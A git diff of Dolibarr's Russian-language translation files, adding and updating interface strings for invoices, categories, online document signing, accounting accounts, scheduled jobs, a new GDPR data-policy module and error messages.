button to quickly add an element in top right menu +WebhookSetupPage = Страница настройки вебхука +ShowQuickAddLink=Показать кнопку для быстрого добавления элемента в меню вверху справа HashForPing=Хэш, используемый для пинга ReadOnlyMode=Экземпляр находится в режиме «Только для чтения» @@ -2280,30 +2313,66 @@ UsingLogFileShowAllRecordOfSubrequestButIsSlower=Используйте файл FixedOrPercent=Фиксированный (используйте ключевое слово «фиксированный») или процент (используйте ключевое слово «процент») DefaultOpportunityStatus=Статус возможности по умолчанию (первый статус при создании лида) -IconAndText=Icon and text -TextOnly=Text only -IconOnlyAllTextsOnHover=Icon only - All texts appears under icon on mouse hover menu bar -IconOnlyTextOnHover=Icon only - Text of icon appears under icon on mouse hover the icon -IconOnly=Icon only - Text on tooltip only -INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices -INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices -INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices -UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. -IfThisCategoryIsChildOfAnother=If this category is a child of another one -DarkThemeMode=Dark theme mode -AlwaysDisabled=Always disabled -AccordingToBrowser=According to browser -AlwaysEnabled=Always Enabled -DoesNotWorkWithAllThemes=Will not work with all themes -NoName=No name -ShowAdvancedOptions= Show advanced options -HideAdvancedoptions= Hide advanced options -CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: -OauthNotAvailableForAllAndHadToBeCreatedBefore=OAUTH2 authentication is not available for all hosts, and a token with the right permissions must have been created upstream with the OAUTH module -MAIN_MAIL_SMTPS_OAUTH_SERVICE=OAUTH2 authentication service -DontForgetCreateTokenOauthMod=A token with the right permissions must have been created upstream with the OAUTH module -MAIN_MAIL_SMTPS_AUTH_TYPE=Authentification method -UsePassword=Use a password -UseOauth=Use a OAUTH token -Images=Images -MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +IconAndText=Значок и текст +TextOnly=Только текст +IconOnlyAllTextsOnHover=Только значок — все тексты отображаются под значком в строке меню при наведении курсора мыши. +IconOnlyTextOnHover=Только значок — текст значка появляется под значком при наведении курсора мыши на значок. +IconOnly=Только значок — только текст во всплывающей подсказке. +INVOICE_ADD_ZATCA_QR_CODE=Показывать QR-код ZATCA в счетах-фактурах +INVOICE_ADD_ZATCA_QR_CODEMore=В некоторых арабских странах этот QR-код необходимо указывать в счетах-фактурах. +INVOICE_ADD_SWISS_QR_CODE=Показывать швейцарский код QR-Bill на счетах +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France +UrlSocialNetworksDesc=URL-ссылка социальной сети. Используйте {socialid} для переменной части, которая содержит идентификатор социальной сети. +IfThisCategoryIsChildOfAnother=Если эта категория является потомком другой +DarkThemeMode=Режим темной темы +AlwaysDisabled=Всегда отключен +AccordingToBrowser=Согласно браузеру +AlwaysEnabled=Всегда включен +DoesNotWorkWithAllThemes=Не будет работать со всеми темами +NoName=Без имени +ShowAdvancedOptions= Показать дополнительные параметры +HideAdvancedoptions= Скрыть дополнительные параметры +CIDLookupURL=Модуль предоставляет URL-адрес, который может использоваться внешним инструментом для получения имени третьей стороны или контакта по ее номеру телефона. URL для использования: +OauthNotAvailableForAllAndHadToBeCreatedBefore=Аутентификация OAUTH2 доступна не для всех хостов, и токен с нужными разрешениями должен быть создан восходящим потоком с помощью модуля OAUTH. +MAIN_MAIL_SMTPS_OAUTH_SERVICE=Служба аутентификации OAUTH2 +DontForgetCreateTokenOauthMod=Токен с правильными разрешениями должен быть создан восходящим потоком с помощью модуля OAUTH. +MAIN_MAIL_SMTPS_AUTH_TYPE=Метод аутентификации +UsePassword=Используйте пароль +UseOauth=Используйте токен OAUTH +Images=Картинки +MaxNumberOfImagesInGetPost=Максимальное количество изображений, разрешенных в поле HTML, представленном в форме +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=Модуль предоставляет URL-адрес, который может использоваться внешним инструментом для получения имени третьей стороны или контакта по ее номеру телефона. URL для использования: +ScriptIsEmpty=Скрипт пуст +ShowHideTheNRequests=Показать/скрыть SQL-запросы %s +DefinedAPathForAntivirusCommandIntoSetup=Определите путь для антивирусной программы в %s +TriggerCodes=Триггерные события +TriggerCodeInfo=Введите здесь триггерные коды, которые должны генерировать публикацию веб-запроса (разрешены только внешние URL-адреса). Вы можете ввести несколько кодов срабатывания через запятую. +EditableWhenDraftOnly=Если флажок не установлен, значение можно изменить, только если объект имеет статус черновика. +CssOnEdit=Css на страницах редактирования +CssOnView=Css на страницах просмотра +CssOnList=Css на страницах списка +HelpCssOnEditDesc=Css, используемый при редактировании поля.
      Пример: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=Css, используемый при просмотре поля. +HelpCssOnListDesc=Css используется, когда поле находится внутри таблицы списка.
      Пример: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Скрыть заказанное количество в сформированных документах для приемов +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Показать цену на сформированные документы для приемов +WarningDisabled=Warning disabled +LimitsAndMitigation=Access limits and mitigation +DesktopsOnly=Desktops only +DesktopsAndSmartphones=Desktops et smartphones +AllowOnlineSign=Allow online signing +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/ru_RU/bills.lang b/htdocs/langs/ru_RU/bills.lang index 888fcf11205..a8980c75187 100644 --- a/htdocs/langs/ru_RU/bills.lang +++ b/htdocs/langs/ru_RU/bills.lang @@ -13,10 +13,12 @@ BillsStatistics=Статистика счетов клиентов BillsStatisticsSuppliers=Статистика счетов поставщиков DisabledBecauseDispatchedInBookkeeping=Отключено, так как счет был отправлен в бухгалтерию DisabledBecauseNotLastInvoice=Отключено, потому что счет нельзя стереть. Некоторые счета были записаны после этого, и это приведет к образованию дыр в прилавке. +DisabledBecauseNotLastSituationInvoice=Disabled because invoice is not erasable. This invoice is not the last one in situation invoice cycle. DisabledBecauseNotErasable=Отключено, так как не может быть удалено InvoiceStandard=Стандартный счёт InvoiceStandardAsk=Стандартный счёт InvoiceStandardDesc=Такой вид счёта является общим. +InvoiceStandardShort=Standard InvoiceDeposit=Счет на предоплату InvoiceDepositAsk=Счет на предоплату InvoiceDepositDesc=Этот вид счета выставляется после получения авансового платежа. @@ -24,6 +26,7 @@ InvoiceProForma=Предварительный счет InvoiceProFormaAsk=Формальный счёт InvoiceProFormaDesc=Формальный счёт является образом оригинального счёта, но не имеет бухгалтерской учетной записи. InvoiceReplacement=Замена счета-фактуры +InvoiceReplacementShort=Замена InvoiceReplacementAsk=Замена счета-фактуры на другой InvoiceReplacementDesc=Счет-фактура замены используется для полной замены счета-фактуры без получения оплаты.

      Примечание. Заменять можно только счета без оплаты. Если заменяемый вами счет еще не закрыт, он будет автоматически закрыт как «оставленный». InvoiceAvoir=Кредитовое авизо @@ -159,6 +162,7 @@ ErrorThisPartOrAnotherIsAlreadyUsedSoDiscountSerieCantBeRemoved=Эта или д ErrorInvoiceIsNotLastOfSameType=Ошибка: дата счета-фактуры %s равна %s. Он должен быть более поздним или равным последней дате для счетов того же типа (%s). Пожалуйста, измените дату счета. BillFrom=Продавец BillTo=Покупатель +ShippingTo=Shipping to ActionsOnBill=Действия со счетом-фактурой RecurringInvoiceTemplate=Шаблон / повторяющийся счет NoQualifiedRecurringInvoiceTemplateFound=Нет подходящих повторяющихся счетов-фактур для создания шаблонов. @@ -446,6 +450,7 @@ ErrorPaymentConditionsNotEligibleToDepositCreation=Выбранные услов PaymentTypeVIR=Банковский перевод PaymentTypeShortVIR=Банковский перевод PaymentTypePRE=Платежное поручение прямого дебета +PaymentTypePREdetails=(on account *-%s) PaymentTypeShortPRE=Дебетовое платежное поручение PaymentTypeLIQ=Наличные PaymentTypeShortLIQ=Наличные @@ -621,3 +626,8 @@ PaymentRegisteredAndInvoiceSetToPaid=Платеж зарегистрирован SendEmailsRemindersOnInvoiceDueDate=Отправить напоминание по электронной почте для неоплаченных счетов MakePaymentAndClassifyPayed=Записать платеж BulkPaymentNotPossibleForInvoice=Массовая оплата невозможна для счета %s (неверный тип или статус) +MentionVATDebitOptionIsOn=Option to pay tax based on debits +MentionCategoryOfOperations=Category of operations +MentionCategoryOfOperations0=Delivery of goods +MentionCategoryOfOperations1=Provision of services +MentionCategoryOfOperations2=Mixed - Delivery of goods & provision of services diff --git a/htdocs/langs/ru_RU/categories.lang b/htdocs/langs/ru_RU/categories.lang index 0575a8a3c1b..5520a7327cc 100644 --- a/htdocs/langs/ru_RU/categories.lang +++ b/htdocs/langs/ru_RU/categories.lang @@ -42,6 +42,7 @@ MemberHasNoCategory=У этого участника нет тегов/кате ContactHasNoCategory=У этого контакта нет тегов/категорий ProjectHasNoCategory=У этого проекта нет тегов/категорий ClassifyInCategory=Добавить в тег/категорию +RemoveCategory=Remove category NotCategorized=Без тега/категории CategoryExistsAtSameLevel=Категория к таким кодом уже существует ContentsVisibleByAllShort=Содержимое доступно всем @@ -67,6 +68,7 @@ StockCategoriesShort=Теги/категории склада ThisCategoryHasNoItems=Эта категория не содержит никаких элементов. CategId=ID тега/категории ParentCategory=Родительский тег/категория +ParentCategoryID=ID of parent tag/category ParentCategoryLabel=Метка родительского тега/категории CatSupList=Список тегов/категорий поставщиков CatCusList=Список тегов/категорий клиентов/лидов @@ -86,7 +88,7 @@ DeleteFromCat=Удалить из тега/категории ExtraFieldsCategories=Дополнительные атрибуты CategoriesSetup=Настройка тегов/категорий CategorieRecursiv=Автоматическая ссылка на родительский тег/категорию -CategorieRecursivHelp=Если опция включена, то при добавлении продукта в подкатегорию он также будет добавлен в родительскую категорию. +CategorieRecursivHelp=If option is on, when you add an object into a subcategory, the object will also be added into the parent categories. AddProductServiceIntoCategory=Добавить следующий продукт/услугу AddCustomerIntoCategory=Присвоить категорию клиенту AddSupplierIntoCategory=Присвоить категорию поставщику @@ -95,7 +97,9 @@ ShowCategory=Показать тег/категорию ByDefaultInList=По умолчанию в списке ChooseCategory=Выберите категорию StocksCategoriesArea=Категории складов +TicketsCategoriesArea=Tickets Categories ActionCommCategoriesArea=Категории событий WebsitePagesCategoriesArea=Категории страниц-контейнеров KnowledgemanagementsCategoriesArea=Категории записей управления знаниями UseOrOperatorForCategories=Используйте оператор "ИЛИ" для категорий +AddObjectIntoCategory=Add object into category diff --git a/htdocs/langs/ru_RU/commercial.lang b/htdocs/langs/ru_RU/commercial.lang index a173ee9a5ab..791951b04ef 100644 --- a/htdocs/langs/ru_RU/commercial.lang +++ b/htdocs/langs/ru_RU/commercial.lang @@ -74,8 +74,16 @@ StatusProsp=Статус проспекта DraftPropals=Проект коммерческих предложений NoLimit=Нет ограничений ToOfferALinkForOnlineSignature=Ссылка для онлайн-подписи -WelcomeOnOnlineSignaturePage=Добро пожаловать на страницу приема коммерческих предложений от %s -ThisScreenAllowsYouToSignDocFrom=Этот экран позволяет вам принять и подписать или отклонить предложение или коммерческое предложение -ThisIsInformationOnDocumentToSign=Это информация о документе, который нужно принять или отклонить. +WelcomeOnOnlineSignaturePageProposal=Welcome to the page to accept commercial proposals from %s +WelcomeOnOnlineSignaturePageContract=Welcome to %s Contract PDF Signing Page +WelcomeOnOnlineSignaturePageFichinter=Welcome to %s Intervention PDF Signing Page +ThisScreenAllowsYouToSignDocFromProposal=Этот экран позволяет вам принять и подписать или отклонить предложение или коммерческое предложение +ThisScreenAllowsYouToSignDocFromContract=This screen allow you to sign contract on PDF format online. +ThisScreenAllowsYouToSignDocFromFichinter=This screen allow you to sign intervention on PDF format online. +ThisIsInformationOnDocumentToSignProposal=This is information on document to accept or refuse +ThisIsInformationOnDocumentToSignContract=This is information on contract to sign +ThisIsInformationOnDocumentToSignFichinter=This is information on intervention to sign SignatureProposalRef=Подпись цитаты / коммерческого предложения %s +SignatureContractRef=Signature of contract %s +SignatureFichinterRef=Signature of intervention %s FeatureOnlineSignDisabled=Функция онлайн-подписи отключена или документ был создан до ее включения diff --git a/htdocs/langs/ru_RU/compta.lang b/htdocs/langs/ru_RU/compta.lang index 2c9affb82e1..349e6c9818c 100644 --- a/htdocs/langs/ru_RU/compta.lang +++ b/htdocs/langs/ru_RU/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Баланс (до) Balance=Баланс Debit=Дебет Credit=Кредит +AccountingDebit=Дебит +AccountingCredit=Кредит Piece=Бухгалтерский док. AmountHTVATRealReceived=HT собрали AmountHTVATRealPaid=HT оплачивается @@ -244,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=Отчет об оборот TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=Отчет об обороте, собранном по ставке налога с продаж, недоступен. Этот отчет доступен только для счета-фактуры оборота. CalculationMode=Режим вычислений AccountancyJournal=Журнал кодов бухгалтерского учета -ACCOUNTING_VAT_SOLD_ACCOUNT=Бухгалтерский счет по умолчанию для НДС с продаж (используется, если не определен при настройке словаря НДС) -ACCOUNTING_VAT_BUY_ACCOUNT=Бухгалтерский счет по умолчанию для НДС с покупок (используется, если не определен при настройке словаря НДС) -ACCOUNTING_VAT_PAY_ACCOUNT=Бухгалтерский счет по умолчанию для уплаты НДС -ACCOUNTING_ACCOUNT_CUSTOMER=Бухгалтерский счет, используемый для третьих лиц клиента +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=Выделенная учетная запись, указанная на карте третьей стороны, будет использоваться только для учета во вспомогательной книге. Он будет использоваться для Главной книги и в качестве значения по умолчанию для учета во вспомогательной книге, если выделенная учетная запись клиента на третьей стороне не определена. -ACCOUNTING_ACCOUNT_SUPPLIER=Бухгалтерский счет, используемый для третьих сторон поставщика +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=Выделенная учетная запись, указанная на карте третьей стороны, будет использоваться только для учета во вспомогательной книге. Он будет использоваться для Главной книги и в качестве значения по умолчанию для учета во вспомогательной книге, если не определена специальная учетная запись поставщика для третьей стороны. ConfirmCloneTax=Подтвердите клон социального / налогового налога ConfirmCloneVAT=Подтвердите копию декларации по НДС @@ -300,3 +302,4 @@ InvoiceToPay15Days=Для оплаты (от 15 до 30 дней) InvoiceToPay30Days=Для оплаты (> 30 дней) ConfirmPreselectAccount=Предварительный выбор кода счета ConfirmPreselectAccountQuestion=Вы уверены, что хотите предварительно выбрать выбранные строки %s с этим кодом учета? +AmountPaidMustMatchAmountOfDownPayment=Amount paid must match amount of down payment diff --git a/htdocs/langs/ru_RU/contracts.lang b/htdocs/langs/ru_RU/contracts.lang index 8e62d71d9fc..6aa77250ca1 100644 --- a/htdocs/langs/ru_RU/contracts.lang +++ b/htdocs/langs/ru_RU/contracts.lang @@ -80,7 +80,7 @@ ConfirmDeleteContractLine=Вы уверены, что хотите удалит MoveToAnotherContract=Переместите услугу в другой договор. ConfirmMoveToAnotherContract=Я выбрал новый целевой договор и подтверждаю, что хочу перенести эту услугу в этот договор. ConfirmMoveToAnotherContractQuestion=Выберите, в какой из существующих договоров (того же контрагента) вы хотите перенести эту услугу? -PaymentRenewContractId=Продлить строку договора (номер %s) +PaymentRenewContractId=Renew contract %s (service %s) ExpiredSince=Срок действия NoExpiredServices=Нет просроченных активных услуг ListOfServicesToExpireWithDuration=Список услуг, срок действия которых истекает через %s дней diff --git a/htdocs/langs/ru_RU/cron.lang b/htdocs/langs/ru_RU/cron.lang index 96d8fcb24a6..4bcfa5f52d5 100644 --- a/htdocs/langs/ru_RU/cron.lang +++ b/htdocs/langs/ru_RU/cron.lang @@ -26,7 +26,7 @@ CronCommand=Команда CronList=Запланированные задания CronDelete=Удалить запланированные задания CronConfirmDelete=Вы уверены, что хотите удалить эти запланированные задания? -CronExecute=Запустить запланированное задание +CronExecute=Launch now CronConfirmExecute=Вы уверены, что хотите выполнить эти запланированные задания сейчас? CronInfo=Модуль запланированных заданий позволяет планировать задания для их автоматического выполнения. Задания также можно запускать вручную. CronTask=Задание @@ -58,7 +58,7 @@ CronNote=Комментарий CronFieldMandatory=Поле %s является обязательным CronErrEndDateStartDt=Дата окончания не может быть раньше даты начала StatusAtInstall=Статус при установке модуля -CronStatusActiveBtn=Расписание +CronStatusActiveBtn=Enable scheduling CronStatusInactiveBtn=Выключать CronTaskInactive=Это задание отключено (не запланировано) CronId=ID @@ -84,10 +84,17 @@ MakeLocalDatabaseDumpShort=Резервное копирование локал MakeLocalDatabaseDump=Создайте дамп локальной базы данных. Параметры: сжатие ('gz' или 'bz' или 'none'), тип резервной копии ('mysql', 'pgsql', 'auto'), 1, 'auto' или имя файла для создания, количество файлов резервных копий для хранения MakeSendLocalDatabaseDumpShort=Отправить резервную копию локальной базы данных MakeSendLocalDatabaseDump=Отправить резервную копию локальной базы данных по электронной почте. Параметры: кому, от, тема, сообщение, имя файла (имя отправляемого файла), фильтр («sql» только для резервного копирования базы данных) +BackupIsTooLargeSend=Sorry, last backup file is too large to be send by email +CleanUnfinishedCronjobShort=Clean unfinished cronjob +CleanUnfinishedCronjob=Clean cronjob stuck in processing when the process is no longer running WarningCronDelayed=Внимание, для повышения производительности, какой бы ни была следующая дата выполнения включенных заданий, ваши задания могут быть отложены максимум на %s часов перед запуском. DATAPOLICYJob=Очиститель и анонимайзер данных JobXMustBeEnabled=Должно быть включено задание %s +EmailIfError=Email for warning on error +ErrorInBatch=Error when running the job %s + # Cron Boxes LastExecutedScheduledJob=Последнее выполненное запланированное задание NextScheduledJobExecute=Следующее запланированное задание для выполнения NumberScheduledJobError=Количество запланированных заданий с ошибкой +NumberScheduledJobNeverFinished=Number of scheduled jobs never finished diff --git a/htdocs/langs/ru_RU/datapolicy.lang b/htdocs/langs/ru_RU/datapolicy.lang new file mode 100644 index 00000000000..a04b939d1b9 --- /dev/null +++ b/htdocs/langs/ru_RU/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Клиент +DATAPOLICY_TIERS_PROSPECT = Лид +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Поставщик +DATAPOLICY_CONTACT_CLIENT = Клиент +DATAPOLICY_CONTACT_PROSPECT = Лид +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Поставщик +DATAPOLICY_ADHERENT = Участник +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/ru_RU/dict.lang b/htdocs/langs/ru_RU/dict.lang index 306570a157a..b93a21cc68b 100644 --- a/htdocs/langs/ru_RU/dict.lang +++ b/htdocs/langs/ru_RU/dict.lang @@ -250,7 +250,9 @@ CountryMF=Сен-Мартен ##### Civilities ##### CivilityMME=Г-жа +CivilityMMEShort=Г-жа CivilityMR=Г-н +CivilityMRShort=Г-н CivilityMLE=Г-жа CivilityMTRE=Хозяин CivilityDR=Доктор diff --git a/htdocs/langs/ru_RU/ecm.lang b/htdocs/langs/ru_RU/ecm.lang index e3cc1125ec1..1193f40aebd 100644 --- a/htdocs/langs/ru_RU/ecm.lang +++ b/htdocs/langs/ru_RU/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Директория в ручном режиме ECMSectionAuto=Директория в автоматическом режиме ECMSectionsManual=Ручное дерево директории ECMSectionsAuto=Автоматическое дерево директории +ECMSectionsMedias=Medias tree ECMSections=Директории ECMRoot=Корень ECM ECMNewSection=Новая директория @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Количество файлов в поддиректор ECMCreationUser=Создатель ECMArea=Область DMS/ECM ECMAreaDesc=Область DMS/ECM (Система управления документами / Управление электронным контентом) позволяет сохранять, обмениваться и быстро искать все виды документов в Dolibarr. -ECMAreaDesc2=* Автоматическая справочники заполняются автоматически при добавлении документов с карточкой элемента.
      * Руководство каталогов можно использовать для сохранения документов, не связанных с конкретным элементом. +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved=Каталог %s удален. ECMSectionWasCreated=Каталог %s создан. ECMSearchByKeywords=Поиск по ключевым словам diff --git a/htdocs/langs/ru_RU/errors.lang b/htdocs/langs/ru_RU/errors.lang index 2424d5b96ab..6c160d5acc1 100644 --- a/htdocs/langs/ru_RU/errors.lang +++ b/htdocs/langs/ru_RU/errors.lang @@ -14,6 +14,7 @@ ErrorLoginAlreadyExists=Логин %s уже существует. ErrorGroupAlreadyExists=Группа %s уже существует. ErrorEmailAlreadyExists=Электронная почта %s уже существует. ErrorRecordNotFound=Запись не найдена. +ErrorRecordNotFoundShort=Not found ErrorFailToCopyFile=Не удалось скопировать файл '%s' в '%s'. ErrorFailToCopyDir=Не удалось скопировать каталог '%s' в '%s'. ErrorFailToRenameFile=Не удалось переименовать файл '%s' в '%s'. @@ -48,6 +49,7 @@ ErrorBadImageFormat=Файл изображения не имеет поддер ErrorBadDateFormat= Значение '%s' имеет неверный формат даты ErrorWrongDate=Дата некорректна! ErrorFailedToWriteInDir=Не удалось записать в директорию %s +ErrorFailedToBuildArchive=Failed to build archive file %s ErrorFoundBadEmailInFile=Обнаружен неверный синтаксис электронной почты для %s строки в файле (пример строки %s с участием email=%s) ErrorUserCannotBeDelete=Пользователь не может быть удален. Возможно, это связано с сущностями Долибарра. ErrorFieldsRequired=Некоторые обязательные поля остались пустыми. @@ -76,7 +78,7 @@ ErrorNoValueForCheckBoxType=Пожалуйста, заполните значе ErrorNoValueForRadioType=Пожалуйста, заполните значени для списка переключателей ErrorBadFormatValueList=Значение списка не может содержать более одной запятой: %s, но необходим хотя бы один: ключ, значение ErrorFieldCanNotContainSpecialCharacters=Поле %s не должно содержать специальных символов. -ErrorFieldCanNotContainSpecialNorUpperCharacters=Поле %s не должно содержать специальных символов или символов верхнего регистра и не может содержать только цифры. +ErrorFieldCanNotContainSpecialNorUpperCharacters=The field %s must not contain special characters, nor upper case characters, and must start with an alphabetical character (a-z) ErrorFieldMustHaveXChar=Поле %s должно содержать не менее %s символов. ErrorNoAccountancyModuleLoaded=Нет бухгалтерского модуля активируется ErrorExportDuplicateProfil=Имя этого профиля уже сущесвует для этого набора для экспорта. @@ -95,9 +97,9 @@ ErrorWrongValueForField=Поле %s: '%s' не совпадает ErrorHtmlInjectionForField=Field %s: The value '%s' contains a malicious data not allowed ErrorFieldValueNotIn=Поле %s: '%s' не является найденным значением в поле %s из %s ErrorFieldRefNotIn=Поле %s: '%s' не является %s существующей ссылкой +ErrorMultipleRecordFoundFromRef=Several record found when searching from ref %s. No way to know which ID to use. ErrorsOnXLines=%s обнаружены ошибки ErrorFileIsInfectedWithAVirus=Антивирусная программа не смогла проверить файл (файл может быть заражен вирусом) -ErrorSpecialCharNotAllowedForField=Специальные символы не допускаются для поля "%s" ErrorNumRefModel=Ссылка есть в базе данных (%s) и не совместимы с данным правилом нумерации. Удаление записей или переименован ссылкой для активации этого модуля. ErrorQtyTooLowForThisSupplier=Слишком низкое количество для этого поставщика или цена на этот продукт для этого поставщика не определена. ErrorOrdersNotCreatedQtyTooLow=Некоторые заказы не были созданы из-за слишком малого количества @@ -242,6 +244,7 @@ ErrorObjectMustHaveStatusActiveToBeDisabled=Для отключения объе ErrorObjectMustHaveStatusDraftOrDisabledToBeActivated=Для включения объекты должны иметь статус "Черновик" или "Отключено". ErrorNoFieldWithAttributeShowoncombobox=Никакие поля не имеют свойства showoncombobox в определении объекта %s. Нет возможности показать комболиста. ErrorFieldRequiredForProduct=Поле '%s' необходимо для продукта %s +AlreadyTooMuchPostOnThisIPAdress=You have already posted too much on this IP address. ProblemIsInSetupOfTerminal=Проблема в настройке терминала %s. ErrorAddAtLeastOneLineFirst=Сначала добавьте хотя бы одну строку ErrorRecordAlreadyInAccountingDeletionNotPossible=Ошибка, запись уже перенесена в бухгалтерию, удаление невозможно. @@ -277,8 +280,8 @@ ErrorWrongFileName=Имя файла не может содержать __SOMETH ErrorNotInDictionaryPaymentConditions=Нет в Словаре условий оплаты, пожалуйста, измените. ErrorIsNotADraft=%s это не черновик ErrorExecIdFailed=Не могу выполнить команду "id" -ErrorBadCharIntoLoginName=Несанкционированный символ в имени для входа -ErrorRequestTooLarge=Ошибка, слишком большой запрос +ErrorBadCharIntoLoginName=Unauthorized character in the field %s +ErrorRequestTooLarge=Error, request too large or session expired ErrorNotApproverForHoliday=Вы не являетесь утверждающим для отпуска %s ErrorAttributeIsUsedIntoProduct=Этот атрибут используется в одном или нескольких вариантах продукта. ErrorAttributeValueIsUsedIntoProduct=Это значение атрибута используется в одном или нескольких вариантах продукта. @@ -291,6 +294,15 @@ ErrorAjaxRequestFailed=Запрос не выполнен ErrorThirpdartyOrMemberidIsMandatory=Third party or Member of partnership is mandatory 